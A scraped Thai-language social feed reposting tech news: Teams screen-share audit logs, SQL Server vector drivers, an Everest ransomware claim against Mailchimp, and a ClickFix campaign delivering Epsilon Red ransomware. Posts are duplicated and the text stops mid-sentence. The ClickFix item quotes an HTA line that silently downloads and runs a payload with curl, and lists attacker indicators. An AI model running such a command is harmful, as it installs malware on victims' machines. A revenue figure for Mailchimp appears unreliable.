https://www.csoonline.com/article/4031648/mind-the-overconfidence-gap-cisos-and-staff-dont-see-eye-to-eye-on-security-posture.html

WWW.CSOONLINE.COM

Mind the overconfidence gap: CISOs and staff don’t see eye to eye on security posture
Security executives may be prone to believing cyber defenses are stronger than front-line staff see them to be, thereby distorting spending priorities and creating a false sense of security.

0 Comments 0 Shares 55 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:15:29 -

เรื่องเล่าจากข่าว: “ดูว่าใครแชร์อะไร กับใคร เมื่อไหร่”—Microsoft Teams เปิดให้ตรวจสอบการแชร์หน้าจอแล้ว

ในเดือนกรกฎาคม 2025 Microsoft ได้เปิดตัวฟีเจอร์ใหม่ใน Microsoft Teams ที่ให้ผู้ดูแลระบบ (Teams admins) เข้าถึงข้อมูล telemetry และ audit logs สำหรับการแชร์หน้าจอ (screen sharing) และการควบคุมหน้าจอ (Take/Give/Request control) ได้โดยตรงผ่าน Microsoft Purview

ข้อมูลที่สามารถตรวจสอบได้ ได้แก่:
- ใครเริ่มแชร์หน้าจอ และเมื่อไหร่
- แชร์ให้ใครดู
- ใครขอควบคุมหน้าจอ และใครอนุญาต
- เวลาเริ่มและหยุดการแชร์
- การยอมรับคำขอควบคุมหน้าจอ

ฟีเจอร์นี้ช่วยให้ผู้ดูแลระบบสามารถตรวจสอบพฤติกรรมต้องสงสัย เช่น การแชร์ข้อมูลลับกับบุคคลภายนอก หรือการเข้าควบคุมหน้าจอโดยไม่ได้รับอนุญาต

การใช้งานทำได้ผ่าน Microsoft Purview โดยเลือกเมนู Audit → New Search แล้วกรอกคำค้น เช่น “screenShared” หรือ “MeetingParticipantDetail” เพื่อดูข้อมูลย้อนหลัง และสามารถ export เป็นไฟล์ CSV ได้

Microsoft เปิดให้ Teams admins เข้าถึง audit logs สำหรับการแชร์หน้าจอผ่าน Microsoft Purview
ตรวจสอบได้ว่าใครแชร์หน้าจอ, แชร์ให้ใคร, และเมื่อไหร่
รองรับการตรวจสอบคำสั่ง Take, Give, Request control

ข้อมูล telemetry ช่วยให้ตรวจสอบพฤติกรรมต้องสงสัยได้แบบละเอียด
เช่น การแชร์ข้อมูลลับกับบุคคลภายนอก
หรือการควบคุมหน้าจอโดยไม่ได้รับอนุญาต

การใช้งานทำผ่าน Microsoft Purview โดยเลือก Audit → New Search
ใช้คำค้น “screenShared” หรือ “MeetingParticipantDetail”
สามารถ export ข้อมูลเป็น CSV ได้

ฟีเจอร์นี้เปิดให้ใช้งานแล้วสำหรับผู้ดูแลระบบทุกคน
ไม่จำกัดเฉพาะองค์กรขนาดใหญ่
ใช้ได้ทั้งใน Teams เวอร์ชัน desktop, web และ mobile

Microsoft Purview เป็นแพลตฟอร์มรวมสำหรับการจัดการความปลอดภัยของข้อมูล
รองรับการตรวจสอบ, ป้องกันการรั่วไหล, และการเข้ารหัสข้อมูล
ใช้ร่วมกับ Microsoft 365, Edge, Windows/macOS และเครือข่าย HTTPS

ฟีเจอร์ “Detect sensitive content during screen sharing” ช่วยแจ้งเตือนเมื่อมีข้อมูลลับปรากฏบนหน้าจอ
เช่น หมายเลขบัตรเครดิต, เลขประจำตัวประชาชน, หรือข้อมูลภาษี
ผู้ใช้จะได้รับแจ้งเตือนและสามารถหยุดการแชร์ได้ทันที

Microsoft Purview รองรับการป้องกันข้อมูลด้วย sensitivity labels และ Double Key Encryption
ช่วยให้ข้อมูลถูกเข้ารหัสและควบคุมการเข้าถึงได้ตามระดับความลับ
เหมาะกับองค์กรที่ต้องการปฏิบัติตามข้อกำหนดด้านความปลอดภัยและกฎหมาย

การเปิดเผยข้อมูล telemetry อาจถูกนำไปใช้ผิดวัตถุประสงค์ได้ หากไม่มีการควบคุมสิทธิ์อย่างเหมาะสม
ผู้ดูแลระบบที่ไม่มีจรรยาบรรณอาจใช้ข้อมูลเพื่อสอดแนมหรือกดดันพนักงาน
ควรมีการกำหนดสิทธิ์และนโยบายการเข้าถึงอย่างชัดเจน

การแชร์หน้าจอโดยไม่ระวังอาจทำให้ข้อมูลลับรั่วไหลได้ง่าย
เช่น การเปิดเอกสารภายในหรือข้อมูลลูกค้าระหว่างประชุมกับบุคคลภายนอก
ควรมีการแจ้งเตือนหรือระบบตรวจจับเนื้อหาลับระหว่างการแชร์

การใช้ฟีเจอร์นี้ต้องเปิด auditing ใน Microsoft Purview ก่อน
หากไม่ได้เปิด auditing จะไม่สามารถดูข้อมูลย้อนหลังได้
ข้อมูลจะถูกเก็บตั้งแต่วันที่เปิด auditing เท่านั้น

การตรวจสอบข้อมูลย้อนหลังมีข้อจำกัดตามระดับ license ของ Microsoft 365
ระยะเวลาการเก็บข้อมูล audit log ขึ้นอยู่กับประเภท license
ผู้ใช้ทั่วไปอาจไม่สามารถเข้าถึงข้อมูลย้อนหลังได้ครบถ้วน

https://www.neowin.net/news/teams-admins-will-now-be-able-to-see-telemetry-for-screen-sharing/

🧠 เรื่องเล่าจากข่าว: “ดูว่าใครแชร์อะไร กับใคร เมื่อไหร่”—Microsoft Teams เปิดให้ตรวจสอบการแชร์หน้าจอแล้ว ในเดือนกรกฎาคม 2025 Microsoft ได้เปิดตัวฟีเจอร์ใหม่ใน Microsoft Teams ที่ให้ผู้ดูแลระบบ (Teams admins) เข้าถึงข้อมูล telemetry และ audit logs สำหรับการแชร์หน้าจอ (screen sharing) และการควบคุมหน้าจอ (Take/Give/Request control) ได้โดยตรงผ่าน Microsoft Purview ข้อมูลที่สามารถตรวจสอบได้ ได้แก่: - ใครเริ่มแชร์หน้าจอ และเมื่อไหร่ - แชร์ให้ใครดู - ใครขอควบคุมหน้าจอ และใครอนุญาต - เวลาเริ่มและหยุดการแชร์ - การยอมรับคำขอควบคุมหน้าจอ ฟีเจอร์นี้ช่วยให้ผู้ดูแลระบบสามารถตรวจสอบพฤติกรรมต้องสงสัย เช่น การแชร์ข้อมูลลับกับบุคคลภายนอก หรือการเข้าควบคุมหน้าจอโดยไม่ได้รับอนุญาต การใช้งานทำได้ผ่าน Microsoft Purview โดยเลือกเมนู Audit → New Search แล้วกรอกคำค้น เช่น “screenShared” หรือ “MeetingParticipantDetail” เพื่อดูข้อมูลย้อนหลัง และสามารถ export เป็นไฟล์ CSV ได้ ✅ Microsoft เปิดให้ Teams admins เข้าถึง audit logs สำหรับการแชร์หน้าจอผ่าน Microsoft Purview ➡️ ตรวจสอบได้ว่าใครแชร์หน้าจอ, แชร์ให้ใคร, และเมื่อไหร่ ➡️ รองรับการตรวจสอบคำสั่ง Take, Give, Request control ✅ ข้อมูล telemetry ช่วยให้ตรวจสอบพฤติกรรมต้องสงสัยได้แบบละเอียด ➡️ เช่น การแชร์ข้อมูลลับกับบุคคลภายนอก ➡️ หรือการควบคุมหน้าจอโดยไม่ได้รับอนุญาต ✅ การใช้งานทำผ่าน Microsoft Purview โดยเลือก Audit → New Search ➡️ ใช้คำค้น “screenShared” หรือ “MeetingParticipantDetail” ➡️ สามารถ export ข้อมูลเป็น CSV ได้ ✅ ฟีเจอร์นี้เปิดให้ใช้งานแล้วสำหรับผู้ดูแลระบบทุกคน ➡️ ไม่จำกัดเฉพาะองค์กรขนาดใหญ่ ➡️ ใช้ได้ทั้งใน Teams เวอร์ชัน desktop, web และ mobile ✅ Microsoft Purview เป็นแพลตฟอร์มรวมสำหรับการจัดการความปลอดภัยของข้อมูล ➡️ รองรับการตรวจสอบ, ป้องกันการรั่วไหล, และการเข้ารหัสข้อมูล ➡️ ใช้ร่วมกับ Microsoft 365, Edge, Windows/macOS และเครือข่าย HTTPS ✅ ฟีเจอร์ “Detect sensitive content during screen sharing” ช่วยแจ้งเตือนเมื่อมีข้อมูลลับปรากฏบนหน้าจอ ➡️ เช่น หมายเลขบัตรเครดิต, เลขประจำตัวประชาชน, หรือข้อมูลภาษี ➡️ ผู้ใช้จะได้รับแจ้งเตือนและสามารถหยุดการแชร์ได้ทันที ✅ Microsoft Purview รองรับการป้องกันข้อมูลด้วย sensitivity labels และ Double Key Encryption ➡️ ช่วยให้ข้อมูลถูกเข้ารหัสและควบคุมการเข้าถึงได้ตามระดับความลับ ➡️ เหมาะกับองค์กรที่ต้องการปฏิบัติตามข้อกำหนดด้านความปลอดภัยและกฎหมาย ‼️ การเปิดเผยข้อมูล telemetry อาจถูกนำไปใช้ผิดวัตถุประสงค์ได้ หากไม่มีการควบคุมสิทธิ์อย่างเหมาะสม ⛔ ผู้ดูแลระบบที่ไม่มีจรรยาบรรณอาจใช้ข้อมูลเพื่อสอดแนมหรือกดดันพนักงาน ⛔ ควรมีการกำหนดสิทธิ์และนโยบายการเข้าถึงอย่างชัดเจน ‼️ การแชร์หน้าจอโดยไม่ระวังอาจทำให้ข้อมูลลับรั่วไหลได้ง่าย ⛔ เช่น การเปิดเอกสารภายในหรือข้อมูลลูกค้าระหว่างประชุมกับบุคคลภายนอก ⛔ ควรมีการแจ้งเตือนหรือระบบตรวจจับเนื้อหาลับระหว่างการแชร์ ‼️ การใช้ฟีเจอร์นี้ต้องเปิด auditing ใน Microsoft Purview ก่อน ⛔ หากไม่ได้เปิด auditing จะไม่สามารถดูข้อมูลย้อนหลังได้ ⛔ ข้อมูลจะถูกเก็บตั้งแต่วันที่เปิด auditing เท่านั้น ‼️ การตรวจสอบข้อมูลย้อนหลังมีข้อจำกัดตามระดับ license ของ Microsoft 365 ⛔ ระยะเวลาการเก็บข้อมูล audit log ขึ้นอยู่กับประเภท license ⛔ ผู้ใช้ทั่วไปอาจไม่สามารถเข้าถึงข้อมูลย้อนหลังได้ครบถ้วน https://www.neowin.net/news/teams-admins-will-now-be-able-to-see-telemetry-for-screen-sharing/

WWW.NEOWIN.NET

Teams admins will now be able to see telemetry for screen sharing
To improve the cybersecurity posture of an organization, Microsoft is introducing audit logs for screen sharing sessions, accessible through Purview.

0 Comments 0 Shares 68 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:13:19 -

เรื่องเล่าจากข่าว: “SQL Server 2025” กับการปฏิวัติการจัดการข้อมูลเวกเตอร์

ในยุคที่ AI กลายเป็นเครื่องมือประจำวันของทั้งนักพัฒนาและผู้ใช้ทั่วไป Microsoft จึงเดินหน้าอัปเดตไดรเวอร์ .NET และ JDBC ให้รองรับ vector data type แบบเนทีฟ เพื่อให้ SQL Server 2025 และ Azure SQL Database ทำงานกับข้อมูลเวกเตอร์ได้เร็วขึ้นและมีประสิทธิภาพมากขึ้น

ในฝั่ง .NET มีการเพิ่มคลาสใหม่ชื่อ SqlVector ใน Microsoft.Data.SqlClient 6.1.0 ซึ่งสามารถจัดการข้อมูลเวกเตอร์ได้โดยตรง แทนการใช้ JSON array แบบเดิมที่ช้าและกินหน่วยความจำมาก โดยผลการทดสอบพบว่า:

- อ่านข้อมูลเร็วขึ้นถึง 50 เท่า
- เขียนข้อมูลเร็วขึ้น 3.3 เท่า
- ทำ bulk copy เร็วขึ้น 19 เท่า

ในฝั่ง JDBC ก็มีการเพิ่ม VECTOR data type ในเวอร์ชัน 13.1.0 ซึ่งสามารถใช้ในคำสั่ง insert, select, stored procedure และ bulk copy ได้โดยตรง—เหมาะกับแอปพลิเคชัน Java ที่ใช้ AI และ semantic search

การปรับปรุงนี้รองรับ SQL Server 2025 Preview, Azure SQL Database, Azure SQL Managed Instance และ Microsoft Fabric Preview โดยต้องใช้ TDS protocol เวอร์ชัน 7.4 ขึ้นไป

Microsoft อัปเดต .NET และ JDBC drivers ให้รองรับ vector data type แบบเนทีฟ
.NET ใช้ SqlVector class ใน Microsoft.Data.SqlClient 6.1.0
JDBC ใช้ VECTOR data type ในเวอร์ชัน 13.1.0

ประสิทธิภาพดีขึ้นอย่างมากเมื่อเทียบกับการใช้ JSON array
อ่านข้อมูลเร็วขึ้น 50 เท่า
เขียนข้อมูลเร็วขึ้น 3.3 เท่า
ทำ bulk copy เร็วขึ้น 19 เท่า

ลดการใช้หน่วยความจำ เพราะไม่ต้อง serialize JSON อีกต่อไป
ใช้ binary format สำหรับจัดเก็บเวกเตอร์
รองรับ float 32-bit และสามารถขยายไปยัง numeric type อื่นในอนาคต

รองรับการใช้งานใน SQL Server 2025, Azure SQL Database, Managed Instance และ Microsoft Fabric
ต้องใช้ TDS protocol เวอร์ชัน 7.4 ขึ้นไป
ถ้าใช้เวอร์ชันเก่าจะยังคงใช้ varchar(max) และ JSON array

เหมาะกับงาน AI เช่น semantic search, recommendation, NLP และ fraud detection
ใช้เวกเตอร์แทนข้อมูล เช่น embeddings จากข้อความหรือภาพ
รองรับการค้นหาแบบ k-NN และการวัดระยะห่างด้วย cosine, Euclidean, dot product

https://www.neowin.net/news/net-and-jdbc-drivers-get-native-vector-data-support-enabling-up-to-50x-faster-reads/

🧠 เรื่องเล่าจากข่าว: “SQL Server 2025” กับการปฏิวัติการจัดการข้อมูลเวกเตอร์ ในยุคที่ AI กลายเป็นเครื่องมือประจำวันของทั้งนักพัฒนาและผู้ใช้ทั่วไป Microsoft จึงเดินหน้าอัปเดตไดรเวอร์ .NET และ JDBC ให้รองรับ vector data type แบบเนทีฟ เพื่อให้ SQL Server 2025 และ Azure SQL Database ทำงานกับข้อมูลเวกเตอร์ได้เร็วขึ้นและมีประสิทธิภาพมากขึ้น ในฝั่ง .NET มีการเพิ่มคลาสใหม่ชื่อ SqlVector ใน Microsoft.Data.SqlClient 6.1.0 ซึ่งสามารถจัดการข้อมูลเวกเตอร์ได้โดยตรง แทนการใช้ JSON array แบบเดิมที่ช้าและกินหน่วยความจำมาก โดยผลการทดสอบพบว่า: - อ่านข้อมูลเร็วขึ้นถึง 50 เท่า - เขียนข้อมูลเร็วขึ้น 3.3 เท่า - ทำ bulk copy เร็วขึ้น 19 เท่า ในฝั่ง JDBC ก็มีการเพิ่ม VECTOR data type ในเวอร์ชัน 13.1.0 ซึ่งสามารถใช้ในคำสั่ง insert, select, stored procedure และ bulk copy ได้โดยตรง—เหมาะกับแอปพลิเคชัน Java ที่ใช้ AI และ semantic search การปรับปรุงนี้รองรับ SQL Server 2025 Preview, Azure SQL Database, Azure SQL Managed Instance และ Microsoft Fabric Preview โดยต้องใช้ TDS protocol เวอร์ชัน 7.4 ขึ้นไป ✅ Microsoft อัปเดต .NET และ JDBC drivers ให้รองรับ vector data type แบบเนทีฟ ➡️ .NET ใช้ SqlVector class ใน Microsoft.Data.SqlClient 6.1.0 ➡️ JDBC ใช้ VECTOR data type ในเวอร์ชัน 13.1.0 ✅ ประสิทธิภาพดีขึ้นอย่างมากเมื่อเทียบกับการใช้ JSON array ➡️ อ่านข้อมูลเร็วขึ้น 50 เท่า ➡️ เขียนข้อมูลเร็วขึ้น 3.3 เท่า ➡️ ทำ bulk copy เร็วขึ้น 19 เท่า ✅ ลดการใช้หน่วยความจำ เพราะไม่ต้อง serialize JSON อีกต่อไป ➡️ ใช้ binary format สำหรับจัดเก็บเวกเตอร์ ➡️ รองรับ float 32-bit และสามารถขยายไปยัง numeric type อื่นในอนาคต ✅ รองรับการใช้งานใน SQL Server 2025, Azure SQL Database, Managed Instance และ Microsoft Fabric ➡️ ต้องใช้ TDS protocol เวอร์ชัน 7.4 ขึ้นไป ➡️ ถ้าใช้เวอร์ชันเก่าจะยังคงใช้ varchar(max) และ JSON array ✅ เหมาะกับงาน AI เช่น semantic search, recommendation, NLP และ fraud detection ➡️ ใช้เวกเตอร์แทนข้อมูล เช่น embeddings จากข้อความหรือภาพ ➡️ รองรับการค้นหาแบบ k-NN และการวัดระยะห่างด้วย cosine, Euclidean, dot product https://www.neowin.net/news/net-and-jdbc-drivers-get-native-vector-data-support-enabling-up-to-50x-faster-reads/

WWW.NEOWIN.NET

.NET and JDBC drivers get native vector data support, enabling up to 50x faster reads
Microsoft has introduced native support for vectors in .NET and JDBC drivers, enabling up to 50x read speed improvements and 3.3x for write operations.

0 Comments 0 Shares 49 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:10:11 -

เรื่องเล่าจากข่าว: “Mailchimp โดนเจาะ” กับเบื้องหลังของ Everest ที่ไม่ธรรมดา

Everest ransomware เป็นกลุ่มแฮกเกอร์ที่ใช้โมเดล “double extortion” คือเข้ารหัสไฟล์ของเหยื่อ และขโมยข้อมูลไปเผยแพร่เพื่อกดดันให้จ่ายค่าไถ่ ล่าสุดพวกเขาอ้างว่าได้เจาะระบบของ Mailchimp—แพลตฟอร์มการตลาดผ่านอีเมลที่มีผู้ใช้กว่า 14 ล้านรายทั่วโลก

ข้อมูลที่ถูกขโมยมีขนาด 767 MB รวมกว่า 943,536 บรรทัด ซึ่งดูเหมือนจะเป็นข้อมูลจากระบบ CRM หรือการส่งออกจากฐานข้อมูลลูกค้า มากกว่าจะเป็นข้อมูลภายในของ Mailchimp เอง เช่น ชื่อบริษัท, อีเมล, เบอร์โทร, โดเมน, เทคโนโลยีที่ใช้ (Shopify, WordPress, Google Cloud ฯลฯ)

แม้จะไม่ใช่การเจาะระบบหลัก แต่การโจมตีนี้เกิดขึ้นในช่วงที่แรนซัมแวร์กำลังระบาดหนัก—ในเวลาใกล้กัน INC Ransom อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree และ GLOBAL GROUP อ้างว่าเจาะ Albavisión ได้ 400 GB ส่วน Medusa ก็เรียกค่าไถ่ NASCAR ถึง $4 ล้าน

Everest ransomware อ้างว่าเจาะระบบ Mailchimp และขโมยข้อมูล 943,536 รายการ
ขนาดไฟล์รวม 767 MB ถูกเผยแพร่บน dark web
ข้อมูลดูเหมือนมาจากระบบ CRM ไม่ใช่ระบบภายในของ Mailchimp

ข้อมูลที่รั่วไหลประกอบด้วยข้อมูลธุรกิจ เช่น โดเมน, อีเมล, เบอร์โทร, เทคโนโลยีที่ใช้
มีข้อมูลเกี่ยวกับ GDPR, โซเชียลมีเดีย, และผู้ให้บริการ hosting
จัดเรียงแบบ spreadsheet แสดงว่าอาจมาจากการส่งออกข้อมูลลูกค้า

Everest ใช้โมเดล double extortion—เข้ารหัสไฟล์และขู่เปิดเผยข้อมูล
เคยโจมตี Coca-Cola ในเดือนพฤษภาคม 2025 และเผยแพร่ข้อมูลพนักงาน
ใช้ dark web leak site เป็นเครื่องมือกดดันเหยื่อ

Mailchimp เป็นบริษัทใหญ่ที่มีผู้ใช้กว่า 14 ล้านราย และถูก Intuit ซื้อกิจการในปี 2021
มีรายได้ปีละ $61 พันล้าน และถือครองตลาดอีเมลถึง 2 ใน 3
การโจมตีแม้จะเล็ก แต่กระทบต่อภาพลักษณ์และความเชื่อมั่น

ในเดือนกรกฎาคม 2025 มีการโจมตีหลายกรณีที่น่าจับตา
INC Ransom อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree
GLOBAL GROUP เจาะ Albavisión ได้ 400 GB
Medusa เรียกค่าไถ่ NASCAR $4 ล้าน พร้อมขู่เปิดเผยข้อมูล

https://hackread.com/everest-ransomware-claims-mailchimp-small-breach/

🧠 เรื่องเล่าจากข่าว: “Mailchimp โดนเจาะ” กับเบื้องหลังของ Everest ที่ไม่ธรรมดา Everest ransomware เป็นกลุ่มแฮกเกอร์ที่ใช้โมเดล “double extortion” คือเข้ารหัสไฟล์ของเหยื่อ และขโมยข้อมูลไปเผยแพร่เพื่อกดดันให้จ่ายค่าไถ่ ล่าสุดพวกเขาอ้างว่าได้เจาะระบบของ Mailchimp—แพลตฟอร์มการตลาดผ่านอีเมลที่มีผู้ใช้กว่า 14 ล้านรายทั่วโลก ข้อมูลที่ถูกขโมยมีขนาด 767 MB รวมกว่า 943,536 บรรทัด ซึ่งดูเหมือนจะเป็นข้อมูลจากระบบ CRM หรือการส่งออกจากฐานข้อมูลลูกค้า มากกว่าจะเป็นข้อมูลภายในของ Mailchimp เอง เช่น ชื่อบริษัท, อีเมล, เบอร์โทร, โดเมน, เทคโนโลยีที่ใช้ (Shopify, WordPress, Google Cloud ฯลฯ) แม้จะไม่ใช่การเจาะระบบหลัก แต่การโจมตีนี้เกิดขึ้นในช่วงที่แรนซัมแวร์กำลังระบาดหนัก—ในเวลาใกล้กัน INC Ransom อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree และ GLOBAL GROUP อ้างว่าเจาะ Albavisión ได้ 400 GB ส่วน Medusa ก็เรียกค่าไถ่ NASCAR ถึง $4 ล้าน ✅ Everest ransomware อ้างว่าเจาะระบบ Mailchimp และขโมยข้อมูล 943,536 รายการ ➡️ ขนาดไฟล์รวม 767 MB ถูกเผยแพร่บน dark web ➡️ ข้อมูลดูเหมือนมาจากระบบ CRM ไม่ใช่ระบบภายในของ Mailchimp ✅ ข้อมูลที่รั่วไหลประกอบด้วยข้อมูลธุรกิจ เช่น โดเมน, อีเมล, เบอร์โทร, เทคโนโลยีที่ใช้ ➡️ มีข้อมูลเกี่ยวกับ GDPR, โซเชียลมีเดีย, และผู้ให้บริการ hosting ➡️ จัดเรียงแบบ spreadsheet แสดงว่าอาจมาจากการส่งออกข้อมูลลูกค้า ✅ Everest ใช้โมเดล double extortion—เข้ารหัสไฟล์และขู่เปิดเผยข้อมูล ➡️ เคยโจมตี Coca-Cola ในเดือนพฤษภาคม 2025 และเผยแพร่ข้อมูลพนักงาน ➡️ ใช้ dark web leak site เป็นเครื่องมือกดดันเหยื่อ ✅ Mailchimp เป็นบริษัทใหญ่ที่มีผู้ใช้กว่า 14 ล้านราย และถูก Intuit ซื้อกิจการในปี 2021 ➡️ มีรายได้ปีละ $61 พันล้าน และถือครองตลาดอีเมลถึง 2 ใน 3 ➡️ การโจมตีแม้จะเล็ก แต่กระทบต่อภาพลักษณ์และความเชื่อมั่น ✅ ในเดือนกรกฎาคม 2025 มีการโจมตีหลายกรณีที่น่าจับตา ➡️ INC Ransom อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree ➡️ GLOBAL GROUP เจาะ Albavisión ได้ 400 GB ➡️ Medusa เรียกค่าไถ่ NASCAR $4 ล้าน พร้อมขู่เปิดเผยข้อมูล https://hackread.com/everest-ransomware-claims-mailchimp-small-breach/

HACKREAD.COM

Everest Ransomware Claims Mailchimp as New Victim in Relatively Small Breach
Follow us on Bluesky, Twitter (X), Mastodon and Facebook at @Hackread

0 Comments 0 Shares 49 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:08:58 -

เรื่องเล่าจากข่าว: “ClickFix” กับกับดักปลอมที่เปิดทางให้ Epsilon Red เข้าระบบคุณ

ตั้งแต่เดือนกรกฎาคม 2025 แฮกเกอร์เริ่มใช้หน้าเว็บปลอมที่ดูเหมือนระบบยืนยันตัวตนจากแพลตฟอร์มดัง เช่น Discord, Twitch, Kick และ OnlyFans โดยอ้างว่าเป็น “ClickFix verification” เพื่อหลอกให้ผู้ใช้ดาวน์โหลดไฟล์ .HTA ซึ่งเป็นไฟล์ HTML ที่สามารถรันสคริปต์ได้ใน Windows

เมื่อผู้ใช้คลิก “ยืนยันตัวตน” หน้าเว็บจะเปิดอีกหน้าที่แอบรันคำสั่งผ่าน ActiveXObject เช่น WScript.Shell เพื่อดาวน์โหลดไฟล์ ransomware จากเซิร์ฟเวอร์ของแฮกเกอร์ แล้วรันแบบเงียบ ๆ โดยไม่แสดงหน้าต่างใด ๆ

เทคนิคนี้ต่างจากเวอร์ชันเก่าที่ใช้การคัดลอกคำสั่งไปยัง clipboard—เพราะเวอร์ชันใหม่นี้รันคำสั่งโดยตรงผ่านเบราว์เซอร์ ทำให้หลบเลี่ยงระบบป้องกันได้ง่ายขึ้น

Epsilon Red ransomware จะเข้ารหัสไฟล์ทั้งหมดในเครื่อง และทิ้งข้อความเรียกค่าไถ่ที่มีสไตล์คล้าย REvil แต่มีการปรับปรุงด้านไวยากรณ์เล็กน้อย

Epsilon Red ransomware ถูกแพร่ผ่านไฟล์ .HTA ที่แฝงอยู่ในหน้าเว็บปลอมชื่อ “ClickFix”
หน้าเว็บปลอมอ้างว่าเป็นระบบยืนยันตัวตนจาก Discord, Twitch, Kick, OnlyFans
หลอกให้ผู้ใช้คลิกและรันไฟล์ .HTA ที่มีสคริปต์อันตราย

ไฟล์ .HTA ใช้ ActiveXObject เพื่อรันคำสั่งผ่าน Windows Script Host (WSH)
เช่น shell.Run("cmd /c curl -s -o a.exe ... && a.exe", 0)
ดาวน์โหลดไฟล์ ransomware และรันแบบเงียบโดยไม่เปิดหน้าต่าง

แฮกเกอร์ใช้เทคนิค social engineering เช่นข้อความยืนยันปลอมเพื่อหลอกผู้ใช้
เช่น “Your Verificatification Code Is: PC-19fj5e9i-cje8i3e4” พร้อม typo จงใจให้ดูไม่อันตราย
ใช้คำสั่ง pause เพื่อให้หน้าต่างค้างไว้ดูเหมือนระบบจริง

Epsilon Red ransomware เข้ารหัสไฟล์ทั้งหมดในเครื่องและทิ้งข้อความเรียกค่าไถ่
มีลักษณะคล้าย REvil แต่ไม่มีความเกี่ยวข้องโดยตรง
ใช้ PowerShell scripts หลายตัวเพื่อเตรียมระบบก่อนเข้ารหัส

โครงสร้างแคมเปญมีการปลอมตัวเป็นบริการยอดนิยมและใช้ IP/โดเมนเฉพาะในการโจมตี
เช่น twtich[.]cc, capchabot[.]cc และ IP 155.94.155.227:2269
มีการใช้ Quasar RAT ร่วมด้วยในบางกรณี

ผู้ใช้ที่เปิดไฟล์ .HTA หรือใช้ Internet Explorer มีความเสี่ยงสูงมาก
ActiveX ยังเปิดใช้งานในบางระบบ Windows โดยไม่รู้ตัว
การรันคำสั่งผ่านเบราว์เซอร์สามารถหลบเลี่ยง SmartScreen และระบบป้องกันทั่วไป

องค์กรที่อนุญาตให้ใช้ปลั๊กอินเบราว์เซอร์หรือไม่จำกัดการเข้าถึงเว็บมีความเสี่ยงสูง
ผู้ใช้สามารถเข้าถึงหน้า ClickFix ปลอมและรันไฟล์ได้โดยไม่รู้ตัว
Endpoint อาจถูกเข้ารหัสและเรียกค่าไถ่ทันที

การใช้ social engineering แบบปลอมตัวเป็นบริการยอดนิยมทำให้ผู้ใช้ตกหลุมพรางง่ายขึ้น
ผู้ใช้เชื่อว่าเป็นการยืนยันตัวตนจริงจาก Discord หรือ Twitch
ไม่สงสัยว่าเป็นการโจมตีเพราะหน้าตาเว็บดูน่าเชื่อถือ

ระบบป้องกันแบบเดิมไม่สามารถตรวจจับการรันคำสั่งผ่าน ActiveX ได้ทันเวลา
การรันแบบเงียบไม่แสดงหน้าต่างหรือแจ้งเตือน
ไฟล์ถูกดาวน์โหลดและรันในหน่วยความจำโดยไม่มีร่องรอย

https://hackread.com/onlyfans-discord-clickfix-pages-epsilon-red-ransomware/

🧠 เรื่องเล่าจากข่าว: “ClickFix” กับกับดักปลอมที่เปิดทางให้ Epsilon Red เข้าระบบคุณ ตั้งแต่เดือนกรกฎาคม 2025 แฮกเกอร์เริ่มใช้หน้าเว็บปลอมที่ดูเหมือนระบบยืนยันตัวตนจากแพลตฟอร์มดัง เช่น Discord, Twitch, Kick และ OnlyFans โดยอ้างว่าเป็น “ClickFix verification” เพื่อหลอกให้ผู้ใช้ดาวน์โหลดไฟล์ .HTA ซึ่งเป็นไฟล์ HTML ที่สามารถรันสคริปต์ได้ใน Windows เมื่อผู้ใช้คลิก “ยืนยันตัวตน” หน้าเว็บจะเปิดอีกหน้าที่แอบรันคำสั่งผ่าน ActiveXObject เช่น WScript.Shell เพื่อดาวน์โหลดไฟล์ ransomware จากเซิร์ฟเวอร์ของแฮกเกอร์ แล้วรันแบบเงียบ ๆ โดยไม่แสดงหน้าต่างใด ๆ เทคนิคนี้ต่างจากเวอร์ชันเก่าที่ใช้การคัดลอกคำสั่งไปยัง clipboard—เพราะเวอร์ชันใหม่นี้รันคำสั่งโดยตรงผ่านเบราว์เซอร์ ทำให้หลบเลี่ยงระบบป้องกันได้ง่ายขึ้น Epsilon Red ransomware จะเข้ารหัสไฟล์ทั้งหมดในเครื่อง และทิ้งข้อความเรียกค่าไถ่ที่มีสไตล์คล้าย REvil แต่มีการปรับปรุงด้านไวยากรณ์เล็กน้อย ✅ Epsilon Red ransomware ถูกแพร่ผ่านไฟล์ .HTA ที่แฝงอยู่ในหน้าเว็บปลอมชื่อ “ClickFix” ➡️ หน้าเว็บปลอมอ้างว่าเป็นระบบยืนยันตัวตนจาก Discord, Twitch, Kick, OnlyFans ➡️ หลอกให้ผู้ใช้คลิกและรันไฟล์ .HTA ที่มีสคริปต์อันตราย ✅ ไฟล์ .HTA ใช้ ActiveXObject เพื่อรันคำสั่งผ่าน Windows Script Host (WSH) ➡️ เช่น shell.Run("cmd /c curl -s -o a.exe ... && a.exe", 0) ➡️ ดาวน์โหลดไฟล์ ransomware และรันแบบเงียบโดยไม่เปิดหน้าต่าง ✅ แฮกเกอร์ใช้เทคนิค social engineering เช่นข้อความยืนยันปลอมเพื่อหลอกผู้ใช้ ➡️ เช่น “Your Verificatification Code Is: PC-19fj5e9i-cje8i3e4” พร้อม typo จงใจให้ดูไม่อันตราย ➡️ ใช้คำสั่ง pause เพื่อให้หน้าต่างค้างไว้ดูเหมือนระบบจริง ✅ Epsilon Red ransomware เข้ารหัสไฟล์ทั้งหมดในเครื่องและทิ้งข้อความเรียกค่าไถ่ ➡️ มีลักษณะคล้าย REvil แต่ไม่มีความเกี่ยวข้องโดยตรง ➡️ ใช้ PowerShell scripts หลายตัวเพื่อเตรียมระบบก่อนเข้ารหัส ✅ โครงสร้างแคมเปญมีการปลอมตัวเป็นบริการยอดนิยมและใช้ IP/โดเมนเฉพาะในการโจมตี ➡️ เช่น twtich[.]cc, capchabot[.]cc และ IP 155.94.155.227:2269 ➡️ มีการใช้ Quasar RAT ร่วมด้วยในบางกรณี ‼️ ผู้ใช้ที่เปิดไฟล์ .HTA หรือใช้ Internet Explorer 